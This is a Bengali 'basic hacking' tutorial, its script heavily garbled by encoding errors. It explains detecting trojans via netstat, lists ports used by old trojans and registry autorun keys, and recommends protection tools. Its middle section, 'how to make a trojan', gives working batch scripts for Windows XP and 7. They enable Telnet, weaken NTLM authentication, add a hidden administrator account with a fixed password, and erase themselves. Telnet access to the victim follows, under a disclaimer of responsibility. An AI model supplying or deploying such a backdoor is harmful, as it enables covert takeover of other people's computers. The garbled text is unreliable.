২) কমাȨ Ƶɑট ওেপন হেল netstat -a িলেখ এȥার িদন ।এেত কের আপনার িসেʁম এর সচল সবগুেলা ĺপাটŪ  কােনকশন , ĺলাকাল , ফেরন অƟােƬস ও এর 
অবʆা  সɑিকŪ ত একটা তািলকা ƵদশŪন করেব CMD । 
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৩) একটু অেপǘা করুন ।এবার netstat -a িলেখ কমাȨ িদন এমং এȥার চাপুন এবার আপনার িসেʁম এর সবগুেলা ĺপাটŪ  ĺক ƵদশŪন করােব CMD  িনেচর িচেƯর 
মত কের 

 

  

৪) Local Address  এর িনেচ যত গুেলা এিȤ ĺদখেত পােবন তার সবগুেলার ĺশেষ  ’:’  এই িচেʐর পর ĺয সংখƟা থাকেব ওটাই হেǱ ওই  কােনকশন এর ĺলাকাল 
ĺপাটŪ  ।  িচেƯর িনেচ লǘƟ করুন একটা িলʁ ĺদওয়া আেছ । ĺযখােন পিরিচত সব ĺƪাজান গুেলা ĺকান ĺকান ĺপাটŪ  বƟবহার কের তার পূণŪ তািলকা করা হেয়েছ । ওখান 
ĺথেক আপনার CMD  ĺথেক Ƶাȼ িলʁ এর সােথ িমিলেয় ĺদখুন । যিদ ĺদেখন ĺকান ĺপাটŪ  িমেল ĺগেছ তাহেল  িনেচর িচেƯর মত কের আবার কমাȨ Ƶɑট এ 
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হƟািকং িশখুন িনেজেক রǘা করার জনƟ অেনƟর ǘিত করার জনƟ নয় 

ĺপাটŪ  ĺƪাজান এর নাম 

1 (UDP) Sockets des Troie 

2 Death 

20 Senna Spy FTP server 

21 
Back Construction, Blade Runner, Cattivik FTP Server, CC Invader, Dark FTP, Doly Trojan, Fore, 
Invisible FTP, Juggernaut 42, Larva, MotIv FTP, Net Administrator, Ramen, Senna Spy FTP server, The 
Flu, Traitor 21, WebEx, WinCrash 

22 Shaft 

23 Fire HacKer, Tiny Telnet Server – TTS, Truva Atl 

25 
Ajan, Antigen, Barok, Email Password Sender – EPS, EPS II, Gip, Gris, Happy99, Hpteam mail, Hybris, I 
love you, Kuang2, Magic Horse, MBT (Mail Bombing Trojan), Moscow Email trojan, Naebi, NewApt 
worm, ProMail trojan, Shtirlitz, Stealth, Tapiras, Terminator, WinPC, WinSpy 

30 Agent 40421 

31 Agent 31, Hackers Paradise, Masters Paradise 

41 Deep Throat, Foreplay 

48 DRAT 

50 DRAT 

58 DMSetup 

59 DMSetup 

79 CDK, Firehotcker 

80 
711 trojan (Seven Eleven), AckCmd, Back End, Back Orifice 2000 Plug-Ins, Cafeini, CGI Backdoor, 
Executor, God Message, God Message Creator, Hooker, IISworm, MTX, NCX, Reverse WWW Tunnel 
Backdoor, RingZero, Seeker, WAN Remote, Web Server CT, WebDownloader 

81 RemoConChubo 

99 Hidden Port, NCX 

110 ProMail trojan 

113 Invisible Identd Deamon, Kazimas 

119 Happy99 

121 Attack Bot, God Message, JammerKillah 
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123 Net Controller 

133 Farnaz 

137 Chode 

137 (UDP) Msinit 

138 Chode 

139 Chode, God Message worm, Msinit, Netlog, Network, Qaz 

142 NetTaxi 

146 Infector 

146 (UDP) Infector 

170 A-trojan 

334 Backage 

411 Backage 

420 Breach, Incognito 

451 TCP Wrappers trojan 

455 Fatal Connections 

456 Hackers Paradise 

513 Hackers Paradise 

555 RPC Backdoor 

605 Net666, Rasmin 

666 711 trojan (Seven Eleven), Ini-Killer, Net Administrator, Phase Zero, Phase-0, Stealth Spy 

667 Secret Service 

669 
Attack FTP, Back Construction, BLA trojan, Cain & Abel, NokNok, Satans Back Door – SBD, ServU, 
Shadow Phyre, th3r1pp3rz (= Therippers) 

692 SniperNet 

777 DP trojan 

808 GayOL 
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911 AimSpy, Undetected 

999 WinHole 

1000 Dark Shadow 

1001 Deep Throat, Foreplay, WinSatan 

1010 Der Späher / Der Spaeher, Direct Connection 

1011 Der Späher / Der Spaeher, Le Guardien, Silencer, WebEx 

1012 Doly Trojan 

1015 Doly Trojan 

1016 Doly Trojan 

1020 Doly Trojan 

1024 Doly Trojan 

1025 Vampire 

1025 (UDP) Jade, Latinus, NetSpy 

1035 Remote Storm 

1042 Remote Storm 

1045 Multidropper 

1049 BLA trojan 

1050 Rasmin 

1053 /sbin/initd 

1054 MiniCommand 

1080 The Thief 

1081 AckCmd 

1082 WinHole 

1083 WinHole 

1090 WinHole 
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1095 WinHole 

1097 Xtreme 

1098 Remote Administration Tool – RAT 

1099 Remote Administration Tool – RAT 

1150 Remote Administration Tool – RAT 

1151 Blood Fest Evolution, Remote Administration Tool – RAT 

1170 Orion 

1200 (UDP) Orion 

1201 (UDP) Psyber Stream Server – PSS, Streaming Audio Server, Voice 

1207 NoBackO 

1208 NoBackO 

1212 SoftWAR 

1234 Infector 

1243 Kaos 

1245 SubSeven Java client, Ultors Trojan 

1255 BackDoor-G, SubSeven, SubSeven Apocalypse, Tiles 

1256 VooDoo Doll 

1269 Scarab 

1272 Project nEXT 

1313 Matrix 

1338 The Matrix 

1349 The Matrix 

1394 Millenium Worm 

1441 Bo dll 

1492 GoFriller, Backdoor G-1 
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1524 Remote Storm 

1568 FTP99CMP 

1600 Trinoo 

1703 Remote Hack 

1777 Direct Connection, Shivka-Burka 

1807 Exploiter 

1966 Scarab 

1967 SpySender 

1969 Fake FTP 

1981 WM FTP Server 

1999 OpC BO 

2000 টBowl,Shockrave 

2001 Back Door, SubSeven, TransScout 

2023 
Der Späher / Der Spaeher, Insane Network, Last 2000, Remote Explorer 2000, Senna Spy Trojan 
Generator 

2080 Der Späher / Der Spaeher, Trojan Cow 

2115 Ripper Pro 

2130(UDP) WinHole 

2140 Bugs 

2140(UDP) Mini Backlash 

2155 The Invasor 

2255 Deep Throat,Foreplay 

2283 Illusion Mailer 

2300 Nirvana 

2311 Hvl RAT 

2330 Xplorer 
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2331 Studio 54 

2332 Contact 

2333 Contact 

2334 Contact 

2335 Contact 

2336 Contact 

2337 Contact 

2338 Contact 

2339 Contact, Voice Spy 

2339(UDP) Contact 

2345 Contact, Voice Spy 

2565 Voice Spy 

2583 Doly Trojan 

2600 Striker trojan 

2716 WinCrash 

2773 Digital RootBeer 

2774 The Prayer 

2801 SubSeven, SubSeven 2.1 Gold 

2989(UDP) SubSeven, SubSeven 2.1 Gold 

3000 Phineas Phucker 

3024 Phineas Phucker 

3031 Remote Shut 

3128 WinCrash 

3129 Microspy 

3150 Reverse WWW Tunnel Backdoor, RingZero 
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3150(UDP) Masters Paradise 

3456 The Invasor 

3459 Deep Throat,Foreplay,Mini Backlash 

3700 Terror trojan 

3777 Eclipse 2000,Sanctuary 

3791 Portal of Doom 

3801 PsychWard 

4000 Total Solar Eclypse 

4092 Total Solar Eclypse 

4242 SkyDance 

4321 WinCrash 

4444 Virtual Hacking Machine -VHM 

4567 BoBo 

4590 Prosiak, Swift Remote 

4950 File Nail 

5000 ICQ Trojan 

5001 ICQ Trogen (Lm) 

5002 Back Door Setup, Blazer5, Bubbel, ICKiller, Ra1d, Sockets des Troie 

5010 Back Door Setup, Sockets des Troie 

5011 cd00r, Shaft 

5025 Solo 

5031 One of the Last Trojans – OOTLT, One of the Last Trojans – OOTLT, modified 

5032 WM Remote KeyLogger 

5321 Net Metropolitan 

5333 Net Metropolitan 
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5343 Firehotcker 

5400 Backage, NetDemon 

5401 wCrat – WC Remote Administration Tool 

5402 Back Construction, Blade Runner 

5512 Back Construction, Blade Runner 

5534 Back Construction, Blade Runner 

5550 Illusion Mailer 

5555 Xtcp 

5556 ServeMe 

5557 BO Facil 

5569 BO Facil 

5637 Robo – Hack 

5638 PC Crasher 

5742 PC Crasher 

5760 WinCrash 

5880 Portmap Remote Root Linux Exploit 

5882 Y3K RAT 

5882 Y3K RAT 

5882 (UDP) Y3K RAT 

5888 Y3K RAT 

5889 Y3K RAT 

5889 Y3K RAT 

6000 The Thing 

6000 Bad Blood 

6000 Secret Service 
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6000 The Thing 

6661 TEMan, Weia-Meia 

6666 Dark Connection Inside, NetBus worm 

6667 Dark FTP, ScheduleAgent, SubSeven, Subseven 2.1.4 DefCon 8, Trinity, WinSatan 

6669 Host Control, Vampire 

6670 BackWeb Server, Deep Throat, Foreplay, WinNuke eXtreame 

6711 BackDoor-G, SubSeven, VP Killer 

6710 Funny trojan, SubSeven 

6713 SubSeven 

6723 Mstream 

6771 Deep Throat, Foreplay 

6776 2000 Cracks, BackDoor-G, SubSeven, VP Killer 

6838 (UDP) Mstream 

6883 Delta Source DarkStar (??) 

6912 Shit Heep 

6939 Indoctrination 

6969 GateCrasher, IRC 3, Net Controller, Priority 

6970 GateCrasher 

7000 Exploit Translation Server, Kazimas, Remote Grab, SubSeven, SubSeven 2.1 Gold 

7001 Freak88, Freak2k 

7215 SubSeven, SubSeven 2.1 Gold 

7300 NetMonitor 

7301 NetMonitor 

7306 NetMonitor 

7307 NetMonitor 
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7308 NetMonitor 

7424 Host Control 

7424 (UDP) Host Control 

7597 Qaz 

7626 Glacier 

7777 God Message, Tini 

7789 Back Door Setup, ICKiller 

7891 The ReVeNgEr 

7983 Mstream 

8080 Brown Orifice, RemoConChubo, Reverse WWW Tunnel Backdoor, RingZero 

8787 Back Orifice 2000 

8988 BacHack 

8989 Rcon, Recon, Xcon 

9000 Netministrator 

9325 (UDP) Mstream 

9400 InCommand 

9872 Portal of Doom 

9873 Portal of Doom 

9874 Portal of Doom 

9875 Portal of Doom 

9876 Cyber Attacker, Rux 

9878 TransScout 

9989 Ini-Killer 

9999 The Prayer 

10000 OpwinTRojan 
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10005 OpwinTRojan 

10067 
(UDP) 

OpwinTRojan 

10085 Syphillis 

10086 Syphillis 

10100 Control Total, Gift trojan 

10101 BrainSpy, Silencer 

10167 
(UDP) 

Portal of Doom 

10520 Acid Shivers 

10528 Host Control 

10607 Coma 

10666 
(UDP) 

Ambush 

11000 Senna Spy Trojan Generator 

11050 Host Control 

11051  Host Control 

11223 Progenic trojan, Secret Agent 

12076 Gjamer 

12345 Hack´99 KeyLogger 

12346 
Ashley, cron / crontab, Fat Bitch trojan, GabanBus, icmp_client.c, icmp_pipe.c, Mypic, NetBus, NetBus 
Toy, NetBus worm, Pie Bill Gates, Whack Job, X-bill 

12349 Fat Bitch trojan, GabanBus, NetBus, X-bill 

12361 BioNet 

12362 Whack-a-mole 

12363 Whack-a-mole 

12623 Whack-a-mole 
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(UDP) 

12624 DUN Control 

12631 ButtMan 

12754 Whack Job 

13000 Mstream 

13010 Senna Spy Trojan Generator, Senna Spy Trojan Generator 

13013 Hacker Brasil – HBR 

13014 PsychWard 

13223 PsychWard 

13473 Hack´99 KeyLogger 

14500 Chupacabra 

14501 PC Invader 

14502 PC Invader 

14503 PC Invader 

15000 PC Invader 

15092 NetDemon 

15104 Host Control 

15382 Mstream 

15858 SubZero 

16484 CDK 

16660 Mosucker 

16772 Sracheldraht 

16959 ICQ Revenge 

16969 SubSeven, Subseven 2.1.4 DefCon 8 

17166 Priority 
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17300 Mosaic 

17449 Kuang2 the virus 

17500 Kid Terror 

17569 CrazzyNet 

17593 CrazzyNet 

17777 Infector 

18753 
(UDP) 

Audiodoor 

19864 Nephron 

20000 ICQ Revenge 

20001 Millenium 

20002  Millenium, Millenium (Lm) 

20005 AcidkoR 

20023 Mosucker 

20034 NetBus 2.0 Pro, NetBus 2.0 Pro Hidden, NetRex, Whack Job 

20203 Chupacabra 

20331 BLA trojan 

20432 Shaft 

20433 
(UDP) 

Shaft 

21544 GirlFriend, Kid Terror 

21554 Exploiter, Kid Terror, Schwindler, Winsp00fer 

22222 Donald Dick, Prosiak, Ruler, RUX The TIc.K 

23005 NetTrash 

23006 NetTrash 

23023 Logged 
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23030 Amanda 

23432 Asylum 

23456 Evil FTP, Ugly FTP, Whack Job 

23476 Donald Dick 

23476 
(UDP) 

Donald Dick 

23477 Donald Dick 

23777 InetSpy 

24000 Infector 

25685 Moonpie 

25686 Moonpie 

25982 Moonpie 

26274 
(UDP) 

Delta Source 

26681 Voice Spy 

27374 
Bad Blood, Ramen, Seeker, SubSeven, SubSeven 2.1 Gold, Subseven 2.1.4 DefCon 8, SubSeven Muie, 
Ttfloader 

27444 
(UDP) 

Trinoo 

27573 SubSeven 

27665 Trinoo 

28678 Exploiter 

29104 NetTrojan 

29363 ovasOn 

29891 The Unexplained 

30000 Infector 

30001 ErrOr32 
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30003 Lamers Death 

30029 AOL trojan 

30100 NetSphere 

30101 NetSphere 

30102 NetSphere 

30103 NetSphere 

30103 
(UDP) 

NetSphere 

30133 NetSphere 

30303 Sockets des Troie 

30947 Intruse 

30999 Trinoo 

31335 Bo Whack, Butt Funnel 

31336 
Back Fire, Back Orifice 1.20 patches, Back Orifice (Lm), Back Orifice russian, Baron Night, Beeone, BO 
client, BO Facil, BO spy, BO2, cron / crontab, Freak88, Freak2k, icmp_pipe.c, Sockdmini 

31337 Back Orifice, Deep BO 

31337 
(UDP) 

Back Orifice, Butt Funnel, NetSpy (DK) 

31338 BOWhack 

31338 
(UDP) 

Hack´a´Tack 

31787 Hack´a´Tack 

31788 Hack´a´Tack 

31789 
(UDP) 

Hack´a´Tack 

31790 Hack´a´Tack 

31791 
(UDP) 

Hack´a´Tack 
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31792 Hack´a´Tack 

32001 Donald Dick 

32100 Peanut Brittle, Project nEXT 

32418 Acid Battery 

33270 Trinity 

33333 Blakharaz, Prosiak 

33577 Son of PsychWard 

33777 Son of PsychWard 

33911 Spirit 2000, Spirit 2001 

34324 Big Gluck, TN 

34444 Donald Dick 

34555 

(UDP) 
Trinoo (for Windows) 

35555 
(UDP) 

Trinoo (for Windows) 

37237 Mantis 

37651 Yet Another Trojan – YAT 

40412 The Spy 

40421 Agent 40421, Masters Paradise 

40422 Masters Paradise 

40423 Masters Paradise 

40425 Masters Paradise 

40426 Masters Paradise 

41337 Storm 

41666 Remote Boot Tool – RBT, Remote Boot Tool – RBT 

44444 Prosiak 
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44575 Exploiter 

47262 
(UDP) 

Delta Source 

49301 OnLine KeyLogger 

50130 Enterprise 

50505 Sockes des Troie 

50766 Fore, Schwindler 

51966 Cafeini 

52317 Acid Battery 

53001 Remote Windows Shutdown – RWS 

54283 SubSeven, SubSeven 2.1 Gold 

54320 Back Orifice 2000 

54321 Back Orifice 2000, School Bus 

55165 File Manager trojan, File Manager trojan, WM Trojan Generator 

55166 WM Trojan Generator 

57341 NetRaider 

58339 Butt Funnel 

60000 Deep Throat, Foreplay, Sockets des Troie 

60001 Trinity 

60068 Xzip 6000068 

60411 Connection 

61348 Bunker – Hill 

61466 TeleCommando 

61603 Bunker – Hill 

63485 Bunker – Hill 

64101 Taskman 
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৪) এবার উপেরর Ƶথম ছিব ĺত লǘƟ করুন এেকবাের ডান পােশ PID  আেছ ।   এটা হেǱ Process ID । ĺয ĺপাটŪ  টা িমেল ĺগেছ ĺসটার ĺপাটŪ  না˘ার এর 
PID  খুেজ ĺবর করুন । এবার Windows Task Manager  ĺবর করুন এবং Services  টƟাব ǅ ĺত িǓক করুন িনেচর িচেƯর মত  । মােঝর 
সািরেত  ĺদওয়া  PID  এর সােথ িমিলেয় ĺদখুন Ƶেসস নাম ও এর বণŪনা [ description ]। নাম টা উপের ĺদওয়া তািলকার সােথ িমেল যায় যিদ তাহেল িনিɩত 
থাʛন আপিন ĺƪাজান আƠাȭ  

65000 Devil, Sockets des Troie, Stacheldraht 

65390 Eclypse 

65421 Jade 

65432 The Traitor (= th3tr41t0r) 

65432 
(UDP) 

The Traitor (= th3tr41t0r) 

65534 /sbin/initd 

65535 RC1 trojan 
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উপেরর পȝিত ছাড়াও আপিন ĺরিজিʀ এর মাধƟেম ĺবর করেত পােরন ĺƪাজান আƠাȭ িকনা আপিন । সব ĺƪাজান ই auto – startup  এর আদেল িনিমŪত । অথŪাৎ 
উইেȨাজ ওেপন হেল এরাও ওেপন হেয় যায় । তাই আপিন ĺরিজিʀ ĺথেক খুব সহেজই ĺদখেত পােরন ĺকান ĺকান ĺƵাƣাম গুেলা ʁাটŪ  আপ এর সােথ রান কের । যিদ 
ĺরিজিʀ ĺত ĺযেত চান তাহেল কমাȨ Ƶɑট ĺথেক Regedit িলেখ এȥার চাপুন ।   আিম িনেচ সবগুেলা অেটা রান এর িডেরǋির িদেয় িদিǱ । আপিন যিদ এভােব 
খুেজ ĺবর করেত চান ĺƪাজান এর অিʅʲ, তাহেল ƵেতƟকǅ িডেরǋির ĺত ĺযেয় ĺদখুন Trojan.exe বা trojan.exe নােমর ĺকান ĺƵাƣাম আেছ িকনা । থাকেল 
িনিɪত থাʛন আপিন ĺƪাজান আƠাȭ । 

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run] 

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce] 

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices] 

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce] 

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] 

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce] 

  

  

ĺƪাজান ĺথেক বাঁচার উপায়  : 

১)ভােলা মােনর হালনাগাদ অƟািȥভাইরাস 
২)অƟািȥ ʊাইওয়Ɵার 
৩)অƟািȥ িফিশং ওয়Ɵার 
৪) ĺরিজিƪ িǓনার 
৫) অƟাড ɉকার 
৬) ʊƟাম িরমুভার 
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িকভােব ĺƪাজান বানােবন ?  

আিম খুব সহজ একটা ĺƪাজান বানােনা িশিখেয় িদিǱ । এর জনƟ দরকার শুধু এটা ĺনাটপƟাড । 

উইেȨাজ এǙিপ এর জনƟ ĺƪাজান বানােত হেল notepad ওেপন করুন এবং তােত িনেচর ĺকাড টা কিপ ĺপʁ করুন এবং ĺযেকােনা নাম িদেয় .bat এǙেটȷান িহেসেব 
ĺসভ করুন । 

@echo off 
sc config tlntsvr start=auto 
sc start tlntsvr 
tlntadmn config sec=-NTLM 
tlntadmn config mode=stream 
net user tunerpage/add 
net user tunerpage 12345 
net localgroup administrators tunerpage /add 
reg /add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows 
NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v tunerpage /t REG_DWORD /d 00 
del trojan.bat 

এখােন ĺখয়াল করুন উপেরর ĺকাড এ 
১ম লাইন টা কমাȨ ĺথেক ইেকা বȴ কের িদেব। 
২য় লাইন টা Ƶিতবার ʁাটŪ আপ এর সােথ সােথ িসেʁম ĺক বলেব Telnet server ĺক ʁাটŪ  করেত। 
৩য় লাইন টা িসেʁম ĺক current windows NT systems এর জনƟ Telnet server ĺক ʁাটŪ  করেত বলেব । 
৪থŪ লাইন টা পাসওয়াডŪ  ফাইল এর NTLM hash security ĺক বȴ কের িদেব । 
৫ম লাইন টা Telnet server এর জনƟ stream mode চালু করেব ও সংেযাগ ʆাপন করেব । 
৬ɵ ও ৭ম লাইন দুেটা tunerpage নােমর একজন ইউজার Ļতির করেব যার পাসওয়াডŪ  12345 । 
৮ম লাইন ǅ tunerpage নােমর ইউজারǅেক Administrator বািনেয় িদেব । 
৯ম লাইন ǅ tunerpage নােমর একজন ইউজার এর সব ডাটা লুিকেয় রাখেব । 
১০ম লাইন ǅ পুেরা বƟাট ফাইল ǅেক মুেছ ĺফলেব । 

উইেȨাজ ৭ এং িভʅার জনƟ ĺƪাজান বানােত হেল িনেচর ĺকাড টা কিপ কের ĺনাটপƟাড এ ĺপʁ করুন এবং ĺযেকােনা নাম িদেয় .bat এǙেটȷান িহেসেব ĺসভ করুন । 

@echo off 
pkgmgr /iu:“TelnetClient” 
pkgmgr /iu:“TelnetServer” 
sc config tlntsvr start=auto 
sc start tlntsvr 
tlntadmn config sec=-NTLM 
tlntadmn config mode=stream 
net user tunerpage /add 
net user tunerpage 12345 
net localgroup administrators tunerpage /add 
reg /add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows 
NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v tunerpage /t REG_DWORD /d 00 

একবার ইȷটল হেয় ĺগেল বা ĺƪাজান ǅ ĺʎভ কিɑউটার এ িনেজেক ʆাপন কের ĺফলেল Telnet Client আেছ এমন ĺযেকােনা সাভŪ ার ĺথেক িনেচর ĺকাড এর  মাধƟেম 
ĺʎভ কিɑউটার এ অƟােǙস করেত পারেবন । শুধু  slave’s IP address এর জায়গা ĺত  ĺʎভ এর আসল আই িপ িদেলই কাজ হেব  

C:\>telnet<slave’s IP address>  

িবেশষ ƲɳবƟ : উপেরর ĺকািডং টা খুব ই িনɎ মােনর এবং আিদম কােলর ĺƪাজান । এটা ĺযেকােনা অƟািȥভাইরাস এর কােছ ধরা খােব তারপর ও 

বিল , এই  ĺকািডং ĺদওয়ার উেțশƟ শুধুই ĺশখার জনƟ । আপিন যিদ কােরা ǘিত করার উেțেশ এটা বƟবহার করেত চান তাহেল দয়া কের িনজ  দািšেʲ 
করেবন । আমােক বা ǅউনার ĺপজ ĺক ĺকানভােবই দায়ী  করা যােব না   
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ĺমাটামুǅ এই িছল ĺƪাজান িনেয় িবʅািরত আেলাচনা । আশা কির আপনারা নতুন িকছু িশখেত ĺপেরেছন ।  
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বƟািসক হƟািকং পবŪ ৪ : বƟিǏগত সুরǘা , িনরপȑা এবং ĺগাপনীয়তা িনিɩতকরণ ।  
হƟািকং আপনােক টানুক আর নাই টানুক , আপিন হƟািকং কেরন আর নাই কেরন , িনেজর িনরাপȑা  আপনােক সবসময়ই সব িকছুর আেগ  িনিɩত করেত হেব । 
বƟািসক হƟািকং এর ৪থŪ পেব Ū আজ আমরা বƟািǏগত সুরǘা , িনরপȑা এবং ĺগাপনীয়তা িনেয় আেলাচনা করব । 

এটা ĺমাটামুǅ সূযŪ পূবŪ িদক ĺথেক ওঠার মতই একটা িচরȭন পিরিǘত সতƟ ĺয অনলাইন এ ĺকউ ই ĺকানিদন  ১০০ % িনরাপদ এবং সɑূণŪ ĺগাপনীয়তা বজায়  িছল , 
আেছ িকংবা থাকেব ! সবার ই ĺকান না ĺকান দুবŪলতা থাকেবই । িকˍ তার মােন এই না ĺয ĺকউ ই সুরিǘত না ! সামানƟ একটু ĺখয়াল রাখেলই এবং িকছু 
আবশƟকীয় সতকŪ তা অবল˘ন করেল আপিন খুব সহেজই ĺয ĺকান ধরেনর অনাকািǥত এবং িনরাপȑার হুমিক ˰রূপ ĺযেকােনা সমসƟা ĺমাকািবলা করেত পারেবন । আিম 
আজ আপনােদরেক িনেজর Ƶিতরǘা বƟবʆা িকভােব এেকবাের িনখু ঁত কের তুলেত পারেবন ĺস বƟাপাের িবʅািরত আেলাচনা করব  

  

 

  

শুরুেতই বেল ĺনই িনরাপȑা দুধরেনর । ১) অফলাইন িনরাপȑা          ২) অনলাইন িনরাপȑা   

  

১) অফলাইন িনরাপȑা    

  

Ƶথেমই আমরা আেলাচনা করব অফলাইন িনরাপȑা িনেয় হাজােরা উপােয় অফলাইন এর িনরাপȑা িনিɩত করা যায় । বাংলা ĺত খনার বচেন একটা কথা আেছ ” 
িবচǘন ĺযাȝা ĺসই ĺয আƠমেনর আেগ Ƶিতেরাধ বƟবʆা ĺজারদার কের ” হƟািকং এর ĺǘেƯও বƟিতƠম িকছু না । সেবŪাȑম পȮা হেǱ হƟাক করেত যাওয়ার আেগ 
িনেজর িসেʁম এর িনরাপȑা Ǉক ঠাক করা । সবসময় মেন রাখেবন অনলাইন এর কাউেক কখেনা িব˞াস করেবন না । আপনােক ইয়াহু , এম এস এন , ĺফসবুক 
এগুেলােত অƟাড কেরও অেনেক আপনার িসেʁম ĺক হƟাক করেত পাের । তাই সবসময় িনরাপȑার কথা টা মাথায় রাখেবন ।  অফলাইন িনরাপȑা ĺত আমরা আেলাচনা 
করব িকভােব আপিন ভাইরাস , ĺƪাজান , কী- লগার , রুট িকট ইতƟািদ ĺথেক বাঁচােত পারেবন । 
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কী – লগার ĺথেক বাঁচেত : 

কী – লগার ĺথেক বাঁচার জনƟ অƟািȥ কী-লগার বা কী ĺʀাক ɼƟা˘লার বƟবহার করেত পােরন । এগুেলা আপনার কী ĺবাডŪ  এর Ƶিতǅ ĺʀাক ĺক ɼƟা˘ল বা এনিƠপট 
কের কী – লিগং ĺথেক আপনােক বাঁচায় । 

কী ĺʀাক ɼƟা˘লার  সাধারণত ƶী পাওয়া যায় না তেব টাকা িদেয় িকনেল সব ĺথেক ভােলা  কী ĺʀাক ɼƟা˘লার  হেǱ “KeyScrambler” । KeyScrambler 

সɑেকŪ  আরও জানেত এবং ডাউনেলাড করেত িǓক করুন এই িলেǦ । 

ƶী ĺত সব ĺথেক ভােলা   অƟািȥ কী-লগার হেǱ NextGen AntiKeylogger । NextGen AntiKeylogger ƶী ĺত   ডাউনেলাড করেত িǓক করুন এই 
িলেǦ ।  

  

 মƟালওয়Ɵার ĺথেক বাঁচেত : 

মƟালওয়Ɵার ĺথেক বাঁচেত  সেবŪাȑম সমাধান হেছ Malwarebytes’ Anti-Malware । এটা বাজােরর সবেথেক ভােলা অƟািȥ মƟালওয়Ɵার সফটওয়Ɵার। এটা 

আপনার িসেʁম ĺথেক মƟালওয়Ɵার খুঁ েজ খুঁেজ ĺবর কের তা  ʼংস কের । Malwarebytes Corporation এর Ļতির এই অসাধারণ  অƟািȥ মƟালওয়Ɵার সফটওয়Ɵার 
সɑেকŪ  আরও জানেত এবং ডাউনেলাড করেত আপিন ঘুের আসেত পােরন এর অিফিসয়াল ওেয়বসাইট ĺথেক । ĺযখান ĺথেক আপিন ƶী , ĺƵা , কেপŪােরট িতন ধরেনর 
ভাসŪন ডাউনেলাড কের বƟবহার করেত পােরন ।  Malwarebytes’ Anti-Malware এর অিফিসয়াল ওেয়বসাইট এ ĺযেত এবং   ডাউনেলাড করেত িǓক করুন 
এই িলেǦ ।  

  

ফায়ারওয়াল বƟবহার করুন : 

ĺবিশরভাগ ĺǘেƯই  ĺদখা যায় আমরা বাংলােদেশ উইেȨাজ এর পাইেরেটড কিপ বƟবহার কির । সǩত কারেনই উইেȨাজ এর অেনক অসাধারণ িদক গুেলা আমােদর কােছ 
অȴকােরই ĺথেক যায় । উইেȨাজ এর ফায়ারওয়াল এমন একটা িদক । আবার অেনক ĺǘেƯই ĺদখাযায় ফায়ারওয়াল িহেসেব উইেȨাজ এর িনজ˰ ফায়ারওয়াল ĺবশী 
একটা সুিবধার না । সব িদক িবেবচনা করেল আমার কােছ মেন হয় বহু অƟাওয়াডŪ  ĺযটা এবং সবŪজন িবিদত COMODO firewall ই সবার ĺথেক ĺবশী কাযŪকরী 
। COMODO firewall ডাউনেলাড করেত িǓক করুন এই িলেǦ ।  
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বƟিǏগত ফাইল এবং অপােরǅং িসেʁম ĺক বাঁচােত :  

বƟিǏগত ফাইল এবং অপােরǅং িসেʁম ĺক বাঁচােত  একটাই পȝিত আর তা হেǱ িডɾ এনিƠপশন বƟবহার করা । ওেপনেসাসŪ  িডɾ এনিƠপশন িহেসেব TrueCrypt 
সব ĺথেক ভােলা । এটা ওেপনেসাসŪ তাই এর সেবŪাǮ ফায়দা িনেত পারেবন আপিন । ডাউনেলাড করেত িǓক করুন এই িলেǦ ।  

  

িসেʁম এবং সেবŪাপির িপিস ĺক সাধারণ আƠমন ĺথেক বাঁচােত : 

DeepFreeze !!! িজ , DeepFreeze আপনার িপিস ĺক ĺমাটামুǅ অপরােজয় বািনেয় ĺদয় ! এটা িপিস এর অিরিজনআল কনিফগােরশন টােক িƶজ কের রােখ । 
ফল˟িতেত যিদ কখেনা ĺকান অনাকািǥত ĺকান পিরবতŪ ন ঘেট আপনার সােধর িপিস ĺত তখন এটা খুব সহেজই িপিস ĺত ির- ĺɳার কের ĺদয় ĺকান ঝােমলা  ছাড়াই 
একটা িরবুট এর মাধƟেম । DeepFreeze সɑেকŪ  আেরা জানেত ǅউনার ĺপজ এর সাচŪ  বাটন এর আƽয় িনন ! DeepFreeze ডাউনেলাড করেত িǓক করুন 
এই িলেǦ । 

  

ভাচুŪ য়াল ĺমিশন বƟবহার করুন :  

হƟািকং খুবই পিরƽেমর এবং অধƟাবসায় এর ফসল । এই পুেরা পথ পািড় িদেত ĺগেল হাজােরা ভুল ĺয হেব তা একƵকার িনিɩত ই !  এই ভুল গুেলা শুধরােনার জনƟই 
বƟবহার করুন ভাচুŪ য়াল ĺমিশন । এেত কের সামানƟ ভুল হেলও একটা ভােলা ফাইল ইেরযার এর সাহােযƟ মুেছ ĺফলুন সɑূণŪ ĺমিশন টােকই ! ভাচুŪ য়াল ĺমিশন িহেসেব 
VMWare Player খুবই উǮমােনর একটা সফটওয়Ɵার । VMWare Player ডাউনেলাড করেত িǓক করুন এই িলেǦ ।  

  

ছȡেবশ পিরধান কিরেয় রাখুন আপনার মƟাক ĺক : 

আপনার আইিপ ĺক আপিন খুব সহেজই ĺচǻ কের ĺধাঁকা িদেত পােরন আপিন ĺয কাউেক , িকˍ আপিন িক জােনন আইিপ এর সহদর মƟাক ( MAC – Media 
Access Control )  উেɝা আপনােকই ĺধাঁকা িদেত পাের বুেমরাং হেয় এেস ! Network Interface Card (NIC)  এর Ƶ˥তকারক ʸারা িনধŪ ািরত না˘ার 
টাই  আপনার মƟাক । এটােক যিদ আপিন ĺচǻ করেত পােরন তখিন ĺকবল আপনার পিরচয় ĺগাপন করার পȝিত পুরপুির সাথŪক হেব । শুধু আইিপ ĺচǻ করা টা ĺকবল 

অেধŪক কাজ ! মƟাক ĺচǻ করেত বƟবহার করুন Technitium MAC Address Changer বা  TMAC ।  TMAC ডাউনেলাড করেত িǓক করুন এই িলেǦ 
।  

  

CCleaner বƟবহার করুন : 

